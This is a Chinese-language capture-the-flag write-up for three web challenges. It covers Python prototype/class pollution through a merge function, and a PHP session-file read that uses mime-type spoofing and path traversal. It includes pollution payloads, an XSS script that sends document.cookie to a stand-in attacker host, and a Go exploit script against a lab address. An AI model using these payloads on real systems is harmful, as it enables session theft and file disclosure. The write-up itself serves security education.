题目连接

WEB

co2

挺简单的原型链污染

route.py文件中设置flag的值

image-20241025175436194

/get_flag路由汇总如果flag == "true"则返回flag

image-20241025175514206

/save_feedback路由汇总调用了merge函数

image-20241025175936597

1
2
3
4
5
6
7
8
9
10
11
12
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

可以通过sava_feedback路由来对flag进行污染

1
{"__init__":{"__globals__":{"flag":"true"}}}

image-20241025180408995

co2v2

/save_feedback路由中存在merge函数,且参数可控。存在原型链污染

image-20241026175515809

/admin/update-accepted-templates路由,如果json中存在policy且policy的值为strict会更新环境

image-20241026175506349

开启了CSP策略在每次请求时会设置一个nonce如果javascript代码的nonce与后端的相同就会执行相应的js代码

image-20241026180249129

generate_nonce()函数中设置nonce其中SECRET_NONCERANDOM_COUNT值可以被污染

image-20241026180452784

TEMPLATES_ESCAPE_ALL的值也可以被污染成false。来关闭转义xss

image-20241026180507876

先污染TEMPLATES_ESCAPE_ALL SECRET_NONCE``RANDOM_COUNT的值

1
2
3
{"__init__":{"__globals__":{"TEMPLATES_ESCAPE_ALL":false}}}
{"__init__":{"__globals__":{"SECRET_NONCE":"t"}}}
{"__init__":{"__globals__":{"RANDOM_COUNT":0}}}

再向/admin/update-accepted-templates发送{"policy":"strict"}来更新模块

最后再添加帖子时候将js的nonce属性设置成a2fe8952412bc49de813bb82db50d5aa497d6106b6b43c8a72cab443aa017e32就能触发js语句

1
2
<script nonce="a2fe8952412bc49de813bb82db50d5aa497d6106b6b43c8a72cab443aa017e32">fetch("http://attacker-server/xss?cookie="+document.cookie);</script>
进行cookie外带

不知道为什么。我复现时搭建的环境一直打不到flag

sniffy

题目中给了源码

index.php中将flag的值赋给了session['flag']

image-20241027183609762session['theme']接收GET传入的theme参数。。。??是PHP中的空合并运算符它的作用是检查左侧的值是否存在且不为null。如果存在,则返回左侧的值;如果不存在,则返回右侧的值。

image-20241027184037665

如果theme以GET的方式传入了值。则$_SESSION['theme']将使用传入的值

audio.php中存在文件读取。但是会判断文件的mine类型是否为audio

image-20241027184324330

mime_content_type函数以magic.mime文件中的信息来确定mime

image-20241027184346280

我们传入的theme值将会在/tmp/sess_xxx文件的中间出现。我们可传入便宜量较大的字符串来更改文件的mime

例如:M.K.M!K!FLT4FLT8这些便宜量较大的值(1080)

同时不知道flag占据了多少了个字节。可以进行4个循环在每个循环中添加一个字符来进行破解

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package main

import (
"fmt"
"io"
"io/ioutil"
"net/http"
"net/url"
"strings"
)

func main() {
target := "http://192.168.22.129:1880"
target2 := "http://192.168.22.129:1880/audio.php"
//target := "https://httpbin.org/get"
Client := http.Client{}

for i := 0; i < 4; i++ {
req1, err := http.NewRequest("GET", target, nil)
if err != nil {
fmt.Println(err)
}
param := make(url.Values)
param.Add("theme", strings.Repeat("s", i)+strings.Repeat("4CHN", 270))
req1.URL.RawQuery = param.Encode()
req1.Header.Add("Cookie", "PHPSESSID=yex")
do, err := Client.Do(req1)
if err != nil {
fmt.Println(err)
}
defer do.Body.Close()
_, err = ioutil.ReadAll(do.Body)

req2, err := http.NewRequest("GET", target2, nil)
param2 := make(url.Values)
param2.Add("f", "../../../../../../../tmp/sess_yex")
req2.URL.RawQuery = param2.Encode()
do2, _ := Client.Do(req2)
defer do2.Body.Close()
data2, _ := io.ReadAll(do2.Body)

if do2.StatusCode != 403 {

fmt.Println(string(data2))
}
}

}